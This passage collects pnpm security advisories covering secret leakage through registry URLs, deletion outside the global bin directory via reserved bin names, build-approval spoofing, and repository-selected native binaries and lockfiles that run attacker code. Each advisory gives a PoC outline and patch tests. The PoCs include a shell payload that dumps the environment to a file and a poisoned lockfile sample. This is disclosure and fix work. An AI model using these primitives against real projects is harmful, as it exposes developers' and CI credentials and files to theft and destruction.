./node_modules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts
cargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_scoped_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_url_scoped_keys --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_auth_values --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml trusted_ini_expands_env_placeholders_in_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml ignores_env_vars_inside_workspace_registry_values --lib
git diff --check

Results:

  • PoC pre-patch model showed cand122-ci-job-token in both a request URL and a bearer auth header.
  • TypeScript build for config.reader: passed.
  • Focused root-manifest tests: 8 passed, including workspace registry and named-registry placeholder denial.
  • Focused config-reader integration tests: 10 passed, covering project .npmrc default registry denial, scoped registry denial, URL-scoped-key denial, project auth-value denial, trusted user .npmrc registry expansion, trusted user auth-value expansion/lossy fallback, and workspace registry denial.
  • cargo fmt --check: passed.
  • Focused pacquet tests: 6 passed, covering project .npmrc registry denial, scoped registry denial, URL-scoped-key denial, auth-value denial, trusted .npmrc registry expansion, and workspace YAML denial.
  • git diff --check: passed.
CVSS Reassessment

The initial scan score used a repository-code-execution vector:

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (8.8 High)

The PoC and source trace showed this finding is direct secret disclosure through registry request URLs or Authorization headers, not a code execution path. The corrected vulnerable vector is:

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Corrected vulnerable score: 7.4 High.

Final score after patch: 0.0.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm: Reserved bin name deletes PNPM_HOME during global remove

CVE-2026-55699 / GHSA-4gxm-v5v7-fqc4

More information

Details

Maintainer Action Plan
Maintainer Action Plan

This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.

  • Advisory: CAND-PNPM-085 / GHSA-4gxm-v5v7-fqc4
  • Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-4gxm-v5v7-fqc4
  • Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1
  • Shared patch branch: security/ghsa-batch-2026-06-09
  • Patch commit: a93449314f398cf4bdf2e28d033c02d37395ad22
  • Base commit: origin/main 55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec
  • Maintainer priority: appendix
  • Component: pnpm global add/remove bin cleanup
  • Patch area: bin name/path segment validation
  • Affected packages: npm:pnpm
  • CWE IDs: CWE-22, CWE-73
  • Conservative CVSS: 6.5 / CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
  • Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory.
Expected Patched Behavior

Reserved, dot, and path-segment bin names are rejected or ignored; global remove leaves PNPM_HOME and the sentinel file intact.

Files And Tests To Review
  • bins/resolver/src/index.ts
  • bins/resolver/test/index.ts
  • global/commands/test/globalRemove.test.ts
  • pacquet/crates/cmd-shim/src/bin_resolver.rs
  • pacquet/crates/cmd-shim/src/bin_resolver/tests.rs
  • .changeset/strange-bin-segments.md
Focused Validation

Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.

  • Use the private PR checks plus the patched replay coverage matrix for this candidate.

The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is results/CAND-PNPM-085-patched-result.json.

Title

Reserved manifest bin names can make global package operations delete outside the global bin directory

Description
Summary

Manifest bin object keys such as "", ".", and ".." passed pnpm's bin-name guard. When a malicious package was installed globally, later global remove, update, or add-replacement flows could re-derive those names from the installed manifest and pass path.join(globalBinDir, binName) to removeBin. For "." this targets the global bin directory; for ".." this targets its parent.

Details

The vulnerable dataflow was:

  • bins/resolver/src/index.ts converted manifest bin object keys to binName and only required URL-safe text or $. Empty, dot, dot-dot, and scoped forms such as @scope/.. were not rejected after scope stripping.
  • global/packages/src/scanGlobalPackages.ts scanned installed global package manifests and returned manifest-derived bin.name values.
  • global/commands/src/globalRemove.ts, global/commands/src/globalUpdate.ts, and global add replacement logic joined those names to globalBinDir.
  • bins/remover/src/removeBins.ts recursively removed the resulting path.

Install-time checks did not close the gap: bin target paths were package-root checked, conflict checks looked at the same escaped path but did not reject reserved segments, and bin-link warning paths could leave the package installed for later global operations.

PoC

Run:

The script first performs a safe prepatch simulation in a temporary directory:

prepatch_reserved_bin_name=..
prepatch_delete_target=/.../cand-pnpm-085.XXXXXX/home
prepatch_deleted_global_bin_parent=true

It then validates the patched implementation:

./node_modules/.bin/tsgo --build bins/resolver/tsconfig.json
./node_modules/.bin/tsgo --build global/commands/tsconfig.json
./node_modules/.bin/eslint bins/resolver/src/index.ts bins/resolver/test/index.ts global/commands/test/globalRemove.test.ts
cd bins/resolver
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts --runInBand
cd global/commands
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/globalRemove.test.ts -t "global remove ignores reserved manifest bin names" --runInBand
cargo fmt --manifest-path pacquet/crates/cmd-shim/Cargo.toml --check
cargo test --manifest-path pacquet/crates/cmd-shim/Cargo.toml bin_resolver --lib
git diff --check -- bins/resolver global/commands/test/globalRemove.test.ts pacquet/crates/cmd-shim .changeset/strange-bin-segments.md pnpm-lock.yaml

The patched resolver no longer emits reserved bin names, and the global-remove regression proves the deletion sink receives only path.join(globalBinDir, "good").

Impact

Direct confidentiality impact was not validated for this primitive; the sink is deletion/corruption, not a read or disclosure path.

Affected Products

Ecosystem: npm

Package name: pnpm

Affected versions: versions before the patch that accept reserved manifest bin names in TypeScript global package flows.

Patched versions: pending release containing the shared bin-name hardening.

Severity

Corrected vulnerable severity: High

Corrected vulnerable vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Corrected vulnerable score: 8.1

Final post-patch score: 0.0, not vulnerable after patch.

The original scan score was 8.3 with C:H/I:H/A:L. Revalidation removes direct confidentiality impact and raises availability to high because the sink can recursively delete the global bin directory or its parent.

Weaknesses

CWE-22: Improper Limitation of a Pathname to a Restricted Directory

CWE-73: External Control of File Name or Path

Patch
  • bins/resolver/src/index.ts now rejects empty, dot, and dot-dot bin names after scope stripping.
  • bins/resolver/test/index.ts covers empty, dot, dot-dot, and scoped reserved bin keys.
  • global/commands/test/globalRemove.test.ts proves global remove filters reserved manifest bin names before deletion and only removes a safe good shim.
  • pacquet/crates/cmd-shim/src/bin_resolver.rs mirrors the same reserved-name rejection; empty names were already rejected.
  • pacquet/crates/cmd-shim/src/bin_resolver/tests.rs extends parity coverage.
  • .changeset/strange-bin-segments.md records patch releases for @pnpm/bins.resolver, pnpm, and pacquet.

Pacquet parity is appropriate at the shared bin resolver/linker boundary because pacquet dependency-management commands can resolve and link package bins, even though the TypeScript-only global remove/update/add replacement flow is the concrete destructive-delete sink.

Validation

Passed locally:

The script passed TypeScript builds, ESLint, bins/resolver Jest, global-remove sink Jest, pacquet fmt/tests, and git diff --check.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm: Manifest identity spoof satisfies allowBuilds and runs attacker lifecycle

CVE-2026-55487 / GHSA-5wx6-mg75-v57r

More information

Details

Summary

Keep build approval for opaque dependency sources byte-exact for GHSA-5wx6-mg75-v57r / CAND-PNPM-123.

Merged upstream commit bf1b731ee6 fixed the original name-only approval bypass by making build policy consume the resolved dependency identity. One collision remained: the generic peer-suffix normalizer also stripped parenthesized text from git, URL, tarball, file, and other opaque locators. Approval for one source string could therefore authorize a different attacker-controlled source whose locator normalized to the same value.

Security boundary
  • Registry dependency identities still normalize legitimate peer suffixes and retain patch hashes.
  • Git, URL, tarball, file, directory, and otherwise opaque identities must match the complete resolved locator byte for byte.
  • Explicit denials use the same normalization as approvals.
  • Ignored-build output preserves the exact opaque identity, so the key pnpm asks a user to approve is the key policy later checks.
  • TypeScript pnpm and pacquet implement the same distinction between registry and opaque identities.
Exploit replay
  • With allowBuilds approving foo@https://host/pkg.tgz, the upstream implementation also accepted foo@https://host/pkg.tgz(evil) because both passed through peer-suffix removal.
  • An independent review found a second Rust-only form: foo@https://host/pkg@1.0.0(good) and foo@https://host/pkg@1.0.0(evil) collided because the parser selected the final @ and misclassified the opaque URL as a registry package.
  • A final review found the same parser hazard in source-only locators ending in a semver-looking tail: approval for https://host/pkg@1.0.0 could collapse https://host/pkg@1.0.0(evil).
  • The final patch rejects all three collision forms, applies the same exactness to deny rules, accepts exact opaque keys as positive controls, and continues to accept registry packages approved without their peer suffixes.
Files changed
  • building/policy/src/index.ts and building/policy/test/index.ts normalize only parsed registry identities and retain exact opaque keys.
  • pacquet/crates/package-manager/src/build_modules.rs passes snapshot identities to policy, matches TypeScript package-separator parsing, and preserves opaque locators.
  • pacquet/crates/package-manager/src/build_modules/tests.rs covers exact approval and denial, all three collision forms, ignored-build output, and registry peer compatibility.
  • .changeset/quiet-opaque-build-identities.md records patch releases for @pnpm/building.policy and pnpm.
Commands run
$ jest building/policy/test/index.ts --runInBand
16 passed
$ cargo test -p pacquet-package-manager build_modules::tests -- --nocapture
49 passed
$ cargo fmt --all -- --check
PASS
$ git diff --check 84bb4b1a046f3a659de1c9aab1d45dcf814124ce...HEAD
PASS
Validation
  • The TypeScript policy suite passed all 16 tests.
  • The final pacquet build-policy suite passed all 49 tests.
  • The new Rust regression reproduced the extra-@ collision before the additive fix and passed afterward.
  • Exact opaque approval and denial, source-only semver-tail collision rejection, registry peer normalization, and ignored-build reporting all have paired tests.
  • ESLint passed on the changed TypeScript source and test files.
  • Rust formatting and diff checks passed; the branch is clean and consists of three focused security commits plus additive merges of upstream through 84bb4b1a046f3a659de1c9aab1d45dcf814124ce.
  • The focused TypeScript suite and ESLint ran directly through the installed harness. The isolated project build cannot resolve workspace packages without a local install, and the configured registry gateway returns HTTP 403 while fetching @pnpm/pacquet@0.11.2; no candidate-focused test failed.
Patches

10.34.2: github.com/pnpm/pnpm@14bceb1e0b
11.5.3: github.com/pnpm/pnpm@bf1b731ee6

Compatibility

Registry package approvals keep their existing form. Opaque dependencies that were approved through a normalized parenthesized variant must now use the exact key shown in pnpm's ignored-build output. This is the intended trust-boundary change; no package-resolution or artifact format changes.

CI note

GitHub intentionally does not run status checks on temporary private-fork pull requests. The complete policy suites, formatting, and diff checks above are the applicable validation: https://docs.github.com/code-security/security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability


Written by an agent (Codex, GPT-5).

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm: Repository-controlled configDependencies can select a pacquet native install engine

CVE-2026-55697 / GHSA-gj8w-mvpf-x27x

More information

Details

Maintainer Action Plan

This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.

  • Advisory: CAND-PNPM-097 / GHSA-gj8w-mvpf-x27x
  • Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-gj8w-mvpf-x27x
  • Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1
  • Shared patch branch: security/ghsa-batch-2026-06-09
  • Patch commit: a93449314f398cf4bdf2e28d033c02d37395ad22
  • Base commit: origin/main 55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec
  • Maintainer priority: start-here
  • Component: pnpm configDependencies / pacquet delegation
  • Patch area: pacquet/configDependency lifecycle execution is not used as install engine without trust
  • Affected packages: npm:pnpm, npm:@&#8203;pnpm/config.reader, npm:@&#8203;pnpm/installing.commands
  • CWE IDs: CWE-829, CWE-78, CWE-494
  • Conservative CVSS: 7.5 / CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
  • Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory.
Expected Patched Behavior

config-dependency pacquet install engines are not selected unless the trusted allowlist is set outside the repository; the marker file is not created.

Files And Tests To Review
  • config/reader/src/Config.ts
  • config/reader/src/types.ts
  • config/reader/src/configFileKey.ts
  • config/reader/src/index.ts
  • config/reader/test/index.ts
  • installing/commands/src/installDeps.ts
  • installing/commands/test/runPacquet.ts
  • pnpm/test/install/pacquet.ts
  • .changeset/lucky-config-plugin-pnpmfiles.md
Focused Validation

Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.

./node_modules/.bin/tsgo --build config/reader/tsconfig.json
./node_modules/.bin/tsgo --build installing/commands/tsconfig.json
./node_modules/.bin/tsgo --build pnpm/tsconfig.json
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/runPacquet.ts --runInBand
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "config dependency code allowlists|user-level preference settings" --runInBand
./node_modules/.bin/eslint config/reader/src/Config.ts config/reader/src/types.ts config/reader/src/configFileKey.ts config/reader/src/index.ts config/reader/test/index.ts installing/commands/src/installDeps.ts installing/commands/test/runPacquet.ts pnpm/test/install/pacquet.ts
git diff --check

The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is results/CAND-PNPM-097-patched-result.json.

Summary

pnpm can install configDependencies declared in pnpm-workspace.yaml before command dispatch. Before the patch, a repository could declare pacquet or @pnpm/pacquet as a config dependency and pnpm treated that repository-controlled dependency as an install-engine opt-in. During install, pnpm resolved a platform-specific @pacquet/<platform>-<arch>/pacquet binary from node_modules/.pnpm-config/<packageName> and spawned it as the developer or CI user.

Details

The vulnerable source-to-sink path was:

  • config/reader/src/getOptionsFromRootManifest.ts copies repository pnpm-workspace.yaml configDependencies into config.
  • pnpm/src/getConfig.ts installs config dependencies before command dispatch.
  • installing/env-installer/src/resolveAndInstallConfigDeps.ts resolves the repository-declared dependency and its optional platform subdependencies.
  • installing/env-installer/src/installConfigDeps.ts fetches, imports, and symlinks the config dependency tree under node_modules/.pnpm-config.
  • installing/commands/src/installDeps.ts selected pacquet delegation whenever configDependencies contained pacquet or @pnpm/pacquet.
  • installing/deps-installer/src/install/index.ts called opts.runPacquet from frozen and materialization paths.
  • installing/commands/src/runPacquet.ts resolved @pacquet/${process.platform}-${process.arch}/pacquet from the installed config dependency package and executed it with spawn().

Exact-version, integrity, and platform filters only proved which bytes package resolution selected; they did not establish that the repository was trusted to choose a native install engine.

PoC

Standalone PoC and verification script:

Repository fixture:

packages:
  - .
configDependencies:
  pacquet: 0.2.2

Registry package shape:

{
  "name": "pacquet",
  "version": "0.2.2",
  "optionalDependencies": {
    "@&#8203;pacquet/darwin-arm64": "0.2.2"
  }
}

Platform package payload:


#!/bin/sh
echo "$PWD" > /tmp/pacquet-engine-ran
env > /tmp/pacquet-engine-env

Pre-patch exploit model:

  1. The victim runs a dependency-management command such as pnpm install in the repository.
  2. pnpm installs the repository-declared config dependency and its host-compatible optional platform dependency into .pnpm-config.
  3. installDeps() treats the presence of configDependencies.pacquet or configDependencies["@&#8203;pnpm/pacquet"] as authorization to delegate install materialization.
  4. runPacquet() resolves the platform binary from the installed config dependency tree and spawns it in the lockfile directory.

Observed PoC output:

{
  "primitive": "repository-selected pacquet config dependency reaches native process execution when selected",
  "patchedWithoutAllowlist": "blocked",
  "trustedAllowlist": "allows explicit opt-in"
}

Focused validation commands:

./node_modules/.bin/tsgo --build config/reader/tsconfig.json
./node_modules/.bin/tsgo --build installing/commands/tsconfig.json
./node_modules/.bin/tsgo --build pnpm/tsconfig.json
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/runPacquet.ts --runInBand
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "config dependency code allowlists|user-level preference settings" --runInBand
./node_modules/.bin/eslint config/reader/src/Config.ts config/reader/src/types.ts config/reader/src/configFileKey.ts config/reader/src/index.ts config/reader/test/index.ts installing/commands/src/installDeps.ts installing/commands/test/runPacquet.ts pnpm/test/install/pacquet.ts
git diff --check

Validation result:

  • The PoC confirmed a selected pacquet config dependency reaches native process execution.
  • Patched getPacquetConfigDependencyName() returns undefined without a trusted allowlist.
  • Patched getPacquetConfigDependencyName() allows exact pacquet, exact @pnpm/pacquet, and wildcard * trusted opt-in.
  • Config reader regressions prove user/global config can set configDependencyInstallEngineAllowlist, while pnpm-workspace.yaml cannot grant this permission to itself.
  • E2E fixtures that intentionally delegate to pacquet now pass the trusted allowlist through environment config.
  • TypeScript builds passed for @pnpm/config.reader, @pnpm/installing.commands, and pnpm.
  • Focused installing/commands/test/runPacquet.ts: 3 passed.
  • Focused config/reader/test/index.ts: 2 passed, 132 skipped under the focused pattern.
  • ESLint passed with warnings only for existing skipped tests in config/reader/test/index.ts and pnpm/test/install/pacquet.ts.
  • git diff --check: passed.
Impact

A malicious repository can cause pnpm to execute a registry-selected native binary while handling dependency-management commands. The binary runs with the victim developer or CI user's filesystem, environment, registry credentials, git/SSH credentials, and network access.

Affected products

Ecosystem: npm

Package name: pnpm, @pnpm/config.reader, @pnpm/installing.commands

Affected versions: current main before this patch, when configDependencies contains pacquet or @pnpm/pacquet and install paths delegate to pacquet.

Patched versions: 10.34.2, 11.5.3.

Severity

Severity: High

Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base score: 8.8

Rationale: attacker input is delivered through a repository and registry package, exploitation is low complexity once the victim runs pnpm, no attacker privileges are required, and user interaction is required. Successful exploitation executes a native binary in the victim user's context, with high confidentiality, integrity, and availability impact.

Weaknesses

CWE-829: Inclusion of Functionality from Untrusted Control Sphere

CWE-78: Improper Neutralization of Special Elements used in an OS Command

CWE-494: Download of Code Without Integrity Check

Patch

The patch adds a trusted opt-in gate for config-dependency install-engine delegation:

  • New setting: configDependencyInstallEngineAllowlist.
  • The allowlist can be set from trusted user-controlled config such as global config, CLI config, or environment config.
  • pnpm-workspace.yaml cannot grant this permission to itself; workspace-provided values are discarded after workspace settings are merged.
  • installDeps() delegates to pacquet only when pacquet, @pnpm/pacquet, or * is present in the trusted allowlist.
  • Repositories can still install pacquet as a config dependency, but pnpm will not spawn it as an install engine unless trusted config opts in.
  • Existing tests that intentionally exercise pacquet delegation were updated to pass the trusted allowlist via environment config.

Changed files:

  • config/reader/src/Config.ts
  • config/reader/src/types.ts
  • config/reader/src/configFileKey.ts
  • config/reader/src/index.ts
  • config/reader/test/index.ts
  • installing/commands/src/installDeps.ts
  • installing/commands/test/runPacquet.ts
  • pnpm/test/install/pacquet.ts

Changeset:

  • .changeset/lucky-config-plugin-pnpmfiles.md

Pacquet parity:

No pacquet-side code-execution sink exists for this finding. The Rust port parses and records configDependencies for workspace-state compatibility, but it does not install config dependencies or select/spawn an alternate install engine from them. The user-visible trust setting is TypeScript-side today because it gates pnpm's pacquet delegation path.

CVSS Reassessment

Initial CVSS remains correct for vulnerable versions: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H / 8.8 High.

Final CVSS after patch: not vulnerable after patch / 0.0. The PoC no longer reaches pacquet install-engine selection or native process execution unless the victim has set a trusted allowlist outside the repository's own workspace settings.

Remaining Risk

Users can explicitly trust pacquet install-engine delegation through the new allowlist. That is intentional behavior; the closed issue is repository self-authorization of a registry-provided native install engine.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm: Project env lockfile can short-circuit package-manager resolution and execute lockfile-selected pnpm bytes

CVE-2026-55698 / GHSA-w466-c33r-3gjp

More information

Details

Maintainer Action Plan

This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.

  • Advisory: CAND-PNPM-063 / GHSA-w466-c33r-3gjp
  • Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-w466-c33r-3gjp
  • Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1
  • Shared patch branch: security/ghsa-batch-2026-06-09
  • Patch commit: a93449314f398cf4bdf2e28d033c02d37395ad22
  • Base commit: origin/main 55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec
  • Maintainer priority: start-here
  • Component: pnpm packageManager env lockfile
  • Patch area: package-manager env lockfile is re-resolved through trusted registries before execution
  • Affected packages: npm:pnpm, npm:@&#8203;pnpm/installing.env-installer
  • CWE IDs: CWE-829, CWE-494, CWE-345
  • Conservative CVSS: 8.8 / CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
  • Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory.
Expected Patched Behavior

Committed env-lockfile package-manager entries are force-refreshed through trusted registries before execution; attacker tarball requests and markers stay at zero.

Files And Tests To Review
  • installing/env-installer/src/resolvePackageManagerIntegrities.ts
  • pnpm/src/switchCliVersion.ts
  • pnpm/src/switchCliVersion.test.ts
  • .changeset/clean-package-manager-registries.md
Focused Validation

Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.

./node_modules/.bin/tsgo --build installing/env-installer/tsconfig.json
./node_modules/.bin/tsgo --build pnpm/tsconfig.json
PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts -t "re-resolved package-manager lockfile" --runInBand
PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts src/syncEnvLockfile.test.ts --runInBand
./node_modules/.bin/eslint installing/env-installer/src/resolvePackageManagerIntegrities.ts pnpm/src/switchCliVersion.ts pnpm/src/switchCliVersion.test.ts
git diff --check

The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is results/CAND-PNPM-063-patched-result.json.

Summary

pnpm can persist package-manager bootstrap metadata in the first YAML document of pnpm-lock.yaml. Before the patch, direct pnpm execution trusted an already resolved packageManagerDependencies entry when the committed env lockfile contained matching pnpm and @pnpm/exe versions. A malicious repository could therefore commit package-manager lockfile package records and snapshots that bypassed fresh package-manager resolution, then cause pnpm to install and execute bytes selected by that committed lockfile state during automatic version switching.

Details

The vulnerable source-to-sink path was:

  • lockfile/fs/src/envLockfile.ts reads the repository's first YAML lockfile document and validates shape only.
  • pnpm/src/main.ts reaches switchCliVersion() when a direct pnpm invocation sees a wanted pnpm package manager with onFail=download.
  • pnpm/src/switchCliVersion.ts reads the committed env lockfile when package-manager metadata should be persisted.
  • installing/env-installer/src/resolvePackageManagerIntegrities.ts treated packageManagerDependencies as resolved when only the pnpm and @pnpm/exe versions matched.
  • engine/pm/commands/src/self-updater/installPnpm.ts converts env-lockfile snapshots and packages into the wanted lockfile used by headlessInstall().
  • pnpm/src/switchCliVersion.ts executes the installed pnpm binary with spawn.sync().

The helper fast path is intentionally still version-based for non-execution callers, so the security boundary is enforced at the execution path: switchCliVersion() now re-resolves already present package-manager env-lockfile entries before they can reach installPnpmToStore() and spawn.sync().

PoC

Standalone PoC and verification script:

The PoC constructs a committed env-lockfile object with matching package-manager dependency versions and attacker-selected package metadata:

{
  "importers": {
    ".": {
      "configDependencies": {},
      "packageManagerDependencies": {
        "@&#8203;pnpm/exe": { "specifier": "9.3.0", "version": "9.3.0" },
        "pnpm": { "specifier": "9.3.0", "version": "9.3.0" }
      }
    }
  },
  "lockfileVersion": "9.0",
  "packages": {
    "/pnpm@9.3.0": {
      "resolution": {
        "integrity": "sha512-poisoned"
      }
    }
  },
  "snapshots": {
    "/pnpm@9.3.0": {}
  }
}

Pre-patch exploit model:

  1. The victim runs pnpm directly in a malicious repository.
  2. The requested package-manager version differs from the currently running pnpm.
  3. pnpm enters switchCliVersion() and reads the committed env lockfile.
  4. Matching pnpm / @pnpm/exe versions short-circuit package-manager resolution.
  5. pnpm installs from the committed env-lockfile package records and executes the resulting pnpm binary.

Observed primitive proof from the PoC:

{
  "primitive": "unforced resolver reuses already-resolved env lockfile metadata",
  "isResolvedByVersionOnly": true,
  "reusedPoisonedIntegrity": true
}

The same script then runs the patched switchCliVersion regression. The regression seeds a poisoned committed env lockfile, has the resolver return a trusted replacement lockfile, and asserts installPnpmToStore() receives the trusted lockfile rather than the committed one. This would fail on the vulnerable control flow because the resolver was not called and the committed lockfile reached the installer.

Focused validation commands:

./node_modules/.bin/tsgo --build installing/env-installer/tsconfig.json
./node_modules/.bin/tsgo --build pnpm/tsconfig.json
PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts -t "re-resolved package-manager lockfile" --runInBand
PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts src/syncEnvLockfile.test.ts --runInBand
./node_modules/.bin/eslint installing/env-installer/src/resolvePackageManagerIntegrities.ts pnpm/src/switchCliVersion.ts pnpm/src/switchCliVersion.test.ts
git diff --check

Validation result:

  • The PoC confirmed the unforced resolver still reuses a version-matching env lockfile, proving the original primitive.
  • Patched switchCliVersion() calls resolvePackageManagerIntegrities() with force: true when committed env-lockfile package-manager entries already satisfy the requested version.
  • Patched switchCliVersion() assigns the resolver return value back to envLockfile.
  • The installer receives the refreshed lockfile and not the poisoned committed lockfile.
  • TypeScript builds passed for @pnpm/installing.env-installer and pnpm.
  • The focused Jest regression passed: 1 passed, 1 skipped in switchCliVersion.test.ts.
  • ESLint passed for the affected package-manager switch files.
  • git diff --check passed.
Impact

A malicious repository can cause arbitrary package-manager code execution in the victim's developer or CI environment before normal command handling continues. That code executes with the victim user's privileges and can read local secrets, alter project files, mutate dependency state, or run further commands.

Affected products

Ecosystem: npm

Package name: pnpm, @pnpm/installing.env-installer

Affected versions: current main before this patch; direct pnpm execution with package-manager auto-switching and a repository-controlled env lockfile.

Patched versions: pending release containing this patch.

Severity

Severity: High

Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base score: 8.8

Rationale: the malicious source is repository-controlled package-manager lockfile state delivered through normal supply-chain channels. Exploitation is low complexity once the victim runs pnpm directly, no attacker privileges are required, and user interaction is required. Successful exploitation executes attacker-selected package-manager code in the victim user's security context, with high confidentiality, integrity, and availability impact.

Weaknesses

CWE-829: Inclusion of Functionality from Untrusted Control Sphere

CWE-494: Download of Code Without Integrity Check

CWE-345: Insufficient Verification of Data Authenticity

Patch

The patch makes automatic package-manager switching re-resolve repository-provided bootstrap metadata before install and execution:

  • resolvePackageManagerIntegrities() accepts force, which bypasses the version-only fast path.
  • switchCliVersion() creates a store controller even when the committed env lockfile already contains satisfying package-manager dependency versions.
  • switchCliVersion() calls resolvePackageManagerIntegrities() with force: true for already resolved package-manager entries.
  • switchCliVersion() assigns the returned env lockfile back to envLockfile, so installPnpmToStore() installs from freshly resolved metadata.
  • The package-manager bootstrap registry hardening from CAND-PNPM-061 is reused, so the refresh happens through trusted package-manager registries rather than repository workspace registries.

Changed files:

  • installing/env-installer/src/resolvePackageManagerIntegrities.ts
  • pnpm/src/switchCliVersion.ts
  • pnpm/src/switchCliVersion.test.ts

Changeset:

  • .changeset/clean-package-manager-registries.md

Pacquet parity:

No pacquet-side patch is required for this finding because pacquet does not implement pnpm's package-manager auto-switch path or installPnpmToStore().

CVSS Reassessment

Initial CVSS remains correct for vulnerable versions: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H / 8.8 High.

Final CVSS after patch: not vulnerable after patch / 0.0. The PoC still demonstrates the underlying unforced env-lockfile reuse primitive, but the patched execution path force-refreshes package-manager metadata through trusted bootstrap registries before install or execution.

Remaining Risk

The helper resolvePackageManagerIntegrities() still has an unforced fast path that treats matching pnpm and @pnpm/exe versions as resolved. Current execution-sensitive callers either use trusted roots/registries or pass through the patched switchCliVersion() boundary, but future execution paths should use force: true before installing or executing package-manager bytes from repository-provided env-lockfile metadata.

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


